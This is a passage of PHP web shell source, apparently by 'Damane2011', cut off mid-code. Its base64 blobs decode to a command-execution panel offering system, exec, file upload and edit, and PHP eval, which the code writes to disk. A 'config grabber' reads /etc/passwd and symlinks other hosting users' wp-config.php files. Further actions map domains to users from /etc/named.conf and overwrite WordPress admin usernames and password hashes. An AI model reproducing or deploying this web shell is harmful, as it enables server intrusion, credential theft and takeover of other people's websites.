ndSddKT8mZ3Q7PC90ZXh0YXJlYT48YnI+DQoJPz8/ID8/Pz8/ID8/Pz8gPz8/PzxzcGFuIGxhbmc9ImVuLXVzIj4gZmlsZSBpbmNsdWRlIDwvc3Bhbj4/Pz8/PyA/Pz8/Pz8/ID8/IA0KCT8/ID8/Pz8gPz8/Pz8/Pzxicj48c3BhbiBsYW5nPSJlbi11cyI+d3d3LnNpdGUuY29tL2ZpbGUucGhwP3U9aHR0cDovL3NoZWxsPC9zcGFuPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJPC90cj4NCgkJCQkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9ImhlaWdodDogMjV4OyB3aWR0aDogMTM5cHg7Ij4NCgk8c3Ryb25nPkZpbGUgUGF0aCB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiIHN0eWxlPSJoZWlnaHQ6IDI1cHgiPg0KCTxzdHJvbmc+DQoJPGlucHV0IG5hbWU9InBhdGhjbGFzcyIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyODRweCIgIGRpcj0ibHRyIiB2YWx1ZT0iPD9waHAgZWNobyByZWFscGF0aCgnJyk/Pi9maWxlLnBocCI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+Jm5ic3A7PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNyZWF0ZSI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhZ2UiIHZhbHVlPSJmaWxlX215c3FsIj4gICAgCQ0KPC9mb3JtPiAgICAJDQoNCg0KCQk8dHI+DQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQoJCTwvdHI+DQoJCQ0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+Q29tbWFuZCAgDQoJc3lzdGVtIC0gcGFzc3RocnUgLSBleGVjIC0gc2hlbGxfZXhlYzwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+Q29tbWFuZHMgfjwvc3Ryb25nPjwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij4NCgkJCQkJPHNlbGVjdCBuYW1lPSJhdHQiIGRpcj0icnRsIiAgc2l6ZT0iMSI+DQo8P3BocA0KaWYoJF9QT1NUWydhdHQnXT09bnVsbCkNCnsNCmVjaG8gJwkJCQkJCTxvcHRpb24gdmFsdWU9InN5c3RlbSIgc2VsZWN0ZWQ9IiI+c3lzdGVtPC9vcHRpb24+JzsNCn1lbHNlew0KZWNobyAiCQkJCQkJPG9wdGlvbiB2YWx1ZT0nJF9QT1NUW2F0dF0nIHNlbGVjdGVkPScnPiRfUE9TVFthdHRdPC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPXN5c3RlbT5zeXN0ZW08L29wdGlvbj4NCiI7DQoNCgkJCQkJCQ0KfQ0KPz4NCg0KCQkJCQkJPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPnBhc3N0aHJ1PC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJleGVjIj5leGVjPC9vcHRpb24+DQoJCQkJCQk8b3B0aW9uIHZhbHVlPSJzaGVsbF9leGVjIj5zaGVsbF9leGVjPC9vcHRpb24+DQoJCQkJCTwvc2VsZWN0PiAgICANCiAgICA8c3Ryb25nPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImNjbW1kZCI+ICAgIA0KCTxpbnB1dCBuYW1lPSJjY21tZGQyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiB2YWx1ZT0ibHMgLWxhIiBkaXI9Imx0ciI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+Jm5ic3A7PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPjxzdHJvbmc+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlJ1biI+PC9zdHJvbmc+PC90ZD4NCiAgICAJPC90cj4NCjwvZm9ybT4gICAgCSAgICAJDQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KDQoJCTx0cj4NCiAgICANCiAgICA8dGQgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjYiPiZuYnNwOzwvdGQ+DQoNCgkJPC90cj4NCg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPk1hbmFnaW5nIGZpbGVzIGFuZCBmb2xkZXJzPC9zdHJvbmc+PC90ZD4NCiAgICAJCQkJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5QYXRoIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8aW5wdXQgbmFtZT0icGF0aGNsYXNzIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiBkaXI9Imx0ciIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJWaWV3Ij48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9InNob3dkaXIiPiAgICAgICAgCQkJCQ0KPC9mb3JtPiAgICAJDQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJfYmxhbmsiPg0KDQoJCTx0cj4NCiAgICANCiAgICA8dGQgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjYiPiZuYnNwOzwvdGQ+DQoNCgkJPC90cj4NCg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjbGFzcz0ic3R5bGUxIiBjb2xzcGFuPSI2Ij48c3Ryb25nPkRvd25sb2FkIEEgRmlsZTwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+UGF0aCBPZiBGaWxlIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8aW5wdXQgbmFtZT0icGF0aGNsYXNzIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiAgZGlyPSJsdHIiIHZhbHVlPSI8P3BocCBlY2hvIHJlYWxwYXRoKCcnKT8+Ij48L3N0cm9uZz48L3RkPg0KICAgIAk8L3RyPg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4mbmJzcDs8L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRG93bmxvYWQiPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQo8aW5wdXQgbmFtZT0icGFnZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iZG93bmxvYWQiPiAgICAgICAgCQkJCQ0KPC9mb3JtPiAgIA0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCg0KCQk8dHI+DQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQoJCTwvdHI+DQoNCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5FZGl0IEEgRmlsZTwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+cGF0aCBPZiBGaWxlIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8aW5wdXQgbmFtZT0icGF0aGNsYXNzIiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6IDI4NHB4IiBkaXI9Imx0ciIgdmFsdWU9Ijw/cGhwIGVjaG8gcmVhbHBhdGgoJycpPz4iPjwvc3Ryb25nPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPiZuYnNwOzwvdGQ+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFZGl0IiBzdHlsZT0id2lkdGg6IDM2cHgiPjwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQo8aW5wdXQgbmFtZT0icGFnZSIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2hvdyI+ICAgICAgICAJCQkJDQo8L2Zvcm0+ICAgIAkNCg0KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+DQoNCgkJPHRyPg0KICAgIA0KICAgIDx0ZCB2YWxpZ249InRvcCIgY29sc3Bhbj0iNiI+Jm5ic3A7PC90ZD4NCg0KCQk8L3RyPg0KDQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxzdHJvbmc+VXBsb2FkIEEgRmlsZTwvc3Ryb25nPjwvdGQ+DQogICAgCQkJCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+RmlsZSB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPg0KCTxpbnB1dCBuYW1lPSJpbWciIHR5cGU9ImZpbGUiPjwvdGQ+DQogICAgCTwvdHI+DQoJCTx0cj4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+UGF0aCB+PC9zdHJvbmc+PC90ZD4NCiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPg0KCTxzdHJvbmc+DQoJPGlucHV0IG5hbWU9InBhdGhjbGFzcyIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyODRweCIgZGlyPSJsdHIiIHZhbHVlPSI8P3BocCBlY2hvIHJlYWxwYXRoKCcnKT8+Ij48L3N0cm9uZz48L3RkPg0KICAgIAk8L3RyPg0KCQk8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4mbmJzcDs8L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIj48L3N0cm9uZz48L3RkPg0KICAgIAkJCQk8L3RyPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9InVwbG9hZCI+ICAgICAgICAJCQkJDQo8L2Zvcm0+ICAgIAkJCQkNCg0KDQo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4NCg0KCQk8dHI+DQogICAgDQogICAgPHRkIHZhbGlnbj0idG9wIiBjb2xzcGFuPSI2Ij4mbmJzcDs8L3RkPg0KDQoJCTwvdHI+DQoNCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY2xhc3M9InN0eWxlMSIgY29sc3Bhbj0iNiI+PHN0cm9uZz5FeGN1dGUgUEhQPC9zdHJvbmc+PC90ZD4NCiAgICAJCQkJPC90cj4NCgkJPHRyPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5Db2RlIH48L3N0cm9uZz48L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+DQoJPHN0cm9uZz4NCgk8dGV4dGFyZWEgbmFtZT0iY29kZSIgZGlyPSJsdHIiIHN0eWxlPSJ3aWR0aDogMzUzcHg7IGhlaWdodDogODlweCI+ZWNobyAnPGNlbnRlcj48Yj5QSFAgV29ya2luZzwvYj48L2NlbnRlcj4nOw0KI3JlYWRmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KPC90ZXh0YXJlYT4NCjwvc3Ryb25nPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij4mbmJzcDs8L3RkPg0KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSVU4iIHN0eWxlPSJoZWlnaHQ6IDI2cHgiPjwvc3Ryb25nPjwvdGQ+DQo8L3RyPg0KPGlucHV0IG5hbWU9InBhZ2UiIHR5cGU9ImhpZGRlbiIgdmFsdWU9ImNvZGUiPg0KPC9mb3JtPiAgICAJDQoNCiAgICA8cCBhbGlnbj0iY2VudGVyIj48L3RkPg0KICA8L3RyPjxkaXYgYWxpZ249ImNlbnRlciI+DQoNCiAgICAgICAgICAgICAgICA8dHI+DQo8L3RhYmxlPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPm==‘;
$file = fopen("cpn.php" ,"w+");
$write = fwrite ($file ,base64_decode($crackftp));
fclose($file);
echo "<iframe src=damane/cpn.php width=100% height=100% frameborder=0></iframe> ";
}
elseif ($action == ’s4config‘) {
@chdir(‚damane‘);
$local_exp = ‚PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5TZWM0RXZlciBDb25maWcgR3JhYmJlciBCeSBEYW1hbmUyMDExPC90aXRsZT4NCjxsaW5rIGhyZWY9J2h0dHA6Ly93d3cuc2VjNGV2ZXIuY29tL2hvbWUvc2VjNGV2ZXIuZ2lmJyB0eXBlPSdpbWFnZS94LWljb24nIHJlbD0nc2hvcnRjdXQgaWNvbicgLz4NCjxzdHlsZT4NCmJvZHl7YmFja2dyb3VuZC1jb2xvcjojMTExO2NvbG9yOiMwMGZmMDA7fQ0KYm9keSx0ZCx0aHsgZm9udDogOHB0IEx1Y2lkYSxUYWhvbWE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiMwMGZmMDA7IH0NCnRhYmxlLmluZm97IGNvbG9yOiMwMDA7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9DQp0ZXh0LWFsaWduOiBjZW50ZXI7DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KaDF7IGJvcmRlci1sZWZ0OjdweCBzb2xpZCAkY29sb3I7cGFkZGluZzogM3B4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMzMzO21hcmdpbjowcHg7IH0NCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzU1NTtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9DQojbmV3LGlucHV0LHRhYmxlLHRkLHRyLCNnZ3tib3JkZXItc3R5bGU6c29saWQ7dGV4dC1kZWNvcmF0aW9uOmJvbGQ7fQ0KaW5wdXQsdGV4dGFyZWEsc2VsZWN0eyBtYXJnaW46MDtjb2xvcjojOTk5O2JhY2tncm91bmQtY29sb3I6IzIyMjtib3JkZXI6MXB4IHNvbGlkICRjb2xvcjsgZm9udDogOHB0IFRhaG9tYSwiVGFob21hIjsgfQ0KLnN0eWxlew0KICAgIGZvbnQtc2l6ZTogMzZweDsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQogICAgY29sb3I6ICNGRkZGRkY7DQogICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCiAgICBmb250LWZhbWlseTogR2VvcmdpYSwgIlRpbWVzIE5ldyBSb21hbiIsIFRpbWVzLCBzZXJpZjsNCn0NCiN0ZXh0YXJlYSB7DQogYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCiAtbW96LWJvcmRlci1yYWRpdXM6IDE1cHg7DQogLXdlYmtpdC1ib3JkZXItcmFkaXVzOiAxNXB4Ow0KIGJvcmRlcjogMXB4IHNvbGlkICNGRjAwMDA7DQogcGFkZGluZzogNXB4OyBjb2xvcjojRkYwMDAwDQp9DQo8L3N0eWxlPg0KPGRpdiBhbGlnbj0iY2VudGVyIiBjbGFzcz0ic3R5bGUiPlNlYzRFdmVyIENvbmZpZyBHcmFiYmVyIEJ5IERhbWFuZTIwMTEgKFBIUCBWZXJzaW9uKTwvZGl2Pg0KPHA+Jm5ic3A7PC9wPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQo8cCBhbGlnbj0iY2VudGVyIj4NCjxmb250IHNpemU9IjUiPkNvbmZpZ3MgUGF0aDo8L2ZvbnQ+DQo8cD4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48dGV4dGFyZWEgaWQ9InRleHRhcmVhIiBuYW1lPSJjb25maWdzIiBjb2xzPSIxMDAiIHJvd3M9IjE4IiA+L2Jsb2cvd3AtY29uZmlnLnBocDwvdGV4dGFyZWE+DQo8cD4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI1Ij5Ib21lIFBhdGg6PC9mb250Pg0KPHA+Jm5ic3A7PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImhvbWUiIHR5cGU9InRleHQiIHNpemU9IjMwIiB2YWx1ZT0iL2hvbWUiLz48YnI+DQo8cD4mbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI1Ij5GaWxlcyBQYXRoOjwvZm9udD4NCjxwPiZuYnNwOzwvcD4NCjxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJwdWJsaWMiIHR5cGU9InRleHQiIHNpemU9IjMwIiB2YWx1ZT0iL3B1YmxpY19odG1sIi8+PGJyPg0KPHA+Jm5ic3A7PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9InN5bWxpbmsiIHNpemU9IjgwIiB2YWx1ZT0iU3ltbGluayIgdHlwZT0ic3VibWl0Ij4NCjxwPiZuYnNwOzwvcD4NCjwvZm9ybT4NCjw/DQovKg0KDQpGaWxlIFdyaXRlZCBCeSBEYW1hbmUyMDExDQoNCkVtYWlsOiBEYW1hbmUtRHpAaG90bWFpbC5jb20NCg0KVHdpdHRlcjogQERhbWFuZUR6DQoNCkJlZm9yZSBVc2luZyBUaGlzIEZpbGUgUGxlYXNlIENoZWNrIFRoZSBEaXNhYmxlZCBGdW5jdGlvbiANCg0KWW91IENhbiBVc2UgVGhpcyBGaWxlIFRvIENoZWNrIFRoZW0NCg0KaHR0cDovL3Bhc3RlYmluLmNvbS9Cc1RuQmpRag0KDQpQLlM6IFN5bWxpbmsgRnVuY3Rpb24gSXMgVmVyeSBSZXF1ZXN0ZWQNCg0KVGhlIEJlbG93IENvbW1lbnRzIFdhcyBDcmVhdGVkIEp1c3QgdG8gSGVscCBCZWdpbm5lcg0KDQoqLw0KDQpzZXRfdGltZV9saW1pdCgwKTsgLy8gbm8gdGltZSBsaW1pdA0KDQppZihpc3NldCgkX1BPU1RbInN5bWxpbmsiXSkpew0KDQokY29uZmlncyA9IGV4cGxvZGUoIlxuIiwkX1BPU1RbImNvbmZpZ3MiXSk7DQoNCiRwdWJsaWMgPSAkX1BPU1RbJ3B1YmxpYyddOw0KDQokaG9tZSA9ICRfUE9TVFsnaG9tZSddOw0KDQokcGFzc3dkID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInJiIik7IC8vIFJlYWQgUGFzc3dkIEZpbGUNCg0Kd2hpbGUgKCFmZW9mKCRwYXNzd2QpICkgew0KJGxpbmVzID0gZmdldHMoJHBhc3N3ZCk7IC8vID4+IEdldCBDb250ZW50cyBPZiBUaGUgUGFzc3dkIEZpbGUNCiR1c2VyID0gZXhwbG9kZSgnOicsICRsaW5lcyk7IC8vIEV4cGxvZGUgVGhlIFBhc3N3ZCBGaWxlIEJ5IDoNCg0KZmlsZV9wdXRfY29udGVudHMoInVzZXJzLnR4dCIgLCAkdXNlclswXS4iXG4iLCBGSUxFX0FQUEVORCk7IC8vIFdyaXRlIEEgTmV3IEZpbGUgQ29udGFpbiBVc2Vycw0KDQovLyBTdGFyVCBTeW1saW5raW5nIC4uLg0KDQpmb3JlYWNoICgkY29uZmlncyBhcyAkY29uZmlnKXsNCg0KLy8gc3lzdGVtKCJsbiAtcyAkaG9tZS8kdXNlclswXSRwdWJsaWMvJGNvbmZpZyAkdXNlclswXS0kY29uZmlnLnR4dFxuIik7DQoNCnN5bWxpbmsoJGhvbWUuJy8nLiR1c2VyWzBdLiRwdWJsaWMuJy8nLiRjb25maWcsICR1c2VyWzBdLidfJy4kY29uZmlnLicudHh0Jyk7DQoNCg0KLy8gJHN5bSA9ICR1c2VyWzBdLSRjb25maWcuJy50eHQnOw0KDQppZihmaWxlX2V4aXN0cygkc3ltKSl7DQogICAgZWNobyAiU3ltbGluayBPZiBUaGUgQ29uZmlnIEZvciBUaGUgVXNlciAkdXNlclswXSBJcyBIZXJlOiAkc3ltIjsNCn0NCi8vIERvbmUgU3ltaWxua2luZyA6cA0KfQ0KLy8gRU9GIQ0KfQ0KLy8gR2VuZXJhdGUgLmh0YWNjZXNzIERlbGV0ZSAvLyBUbyBBY3RpdmF0ZSBUaGUgQWN0aW9uIDpwDQovLyBmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIiAsICJBZGRIYW5kbGVyIHBocC1zY3JpcHQgLnR4dFxuQWRkVHlwZSB0ZXh0L2h0bWwgaHRtIGh0bWwgcGhwXG4iLCBGSUxFX0FQUEVORCk7DQoNCi8vIE9oIEZpbmFsbFkgOnAgISENCnByaW50ICI8cCBhbGlnbj0nY2VudGVyJz48Zm9udCBjb2xvcj0nI0Y2MzU4QScgc2l6ZT0nNCc+RG9uRSAhPC9wPiI7DQp9DQo/Pg0KPHA+ICZuYnNwOzwvcD4NCjxwPiAmbmJzcDs8L3A+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0iI0Y2MzU4QSIgc2l6ZT0iNCI+QnkgRGFtYW5lMjAxMShEYW1hbmUtRHpAaG90bWFpbC5jb20pPC9mb250Pjxicj48YnI+DQpNYURlIGluIEFsR2VyaWEgMjAxMiAmY29weTwvcD4NCjwvaGVhZD4NCjwvaHRtbD5=‘;
$file = fopen("config_grabber.php" ,"w+");
$write = fwrite ($file ,base64_decode($local_exp));
fclose($file);
echo "<iframe src=damane/config_grabber.php width=100% height=100% frameborder=0></iframe>";
}
elseif ($action == ‚domain‘) {
$d0mains = @file("/etc/named.conf");
if(!$d0mains){ die("<b># can’t ReaD -> [ /etc/named.conf ]"); }
echo "<table align=center border=1>
<tr bgcolor=green><td>d0mains</td><td>users</td></tr>";
foreach($d0mains as $d0main){
if(eregi("zone",$d0main)){
preg_match_all(‚#zone "(.*)"#‘, $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user[’name‘]."</td></tr>"; flush();
}}}
;
}
elseif ($action == ‚wpchange‘) {
if(empty($_POST[‚pwd‘])){
echo "<FORM method=\"POST\">
host : <INPUT size=\"15\" value=\"localhost\" name=\"localhost\" type=\"text\">
database : <INPUT size=\"15\" value=\"wp-\" name=\"database\" type=\"text\"><br>
username : <INPUT size=\"15\" value=\"wp-\" name=\"username\" type=\"text\">
password : <INPUT size=\"15\" value=\"**\" name=\"password\" type=\"password\"><br>
<br>
Set A New username 4 Login : <INPUT name=\"admin\" size=\"15\" value=\"admin\"><br>
Set A New password 4 Login : <INPUT name=\"pwd\" size=\"15\" value=\"damane\"><br>
<INPUT value=\"change\" name=\"send\" type=\"submit\">
</FORM>";
}else{
$localhost = $_POST[‚localhost‘];
$database = $_POST[‚database‘];
$username = $_POST[‚username‘];
$password = $_POST[‚password‘];
$pwd = $_POST[‚pwd‘];
$admin = $_POST[‚admin‘];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login =’".$admin."‘ WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =’".$hash."‘ WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =’".$admin."‘ WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =’".$hash."‘ WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login =’".$admin."‘ WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass =’".$hash."‘ WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email =’".$SQL."‘ WHERE ID = 1") or die(mysql_error());
if($a4s){
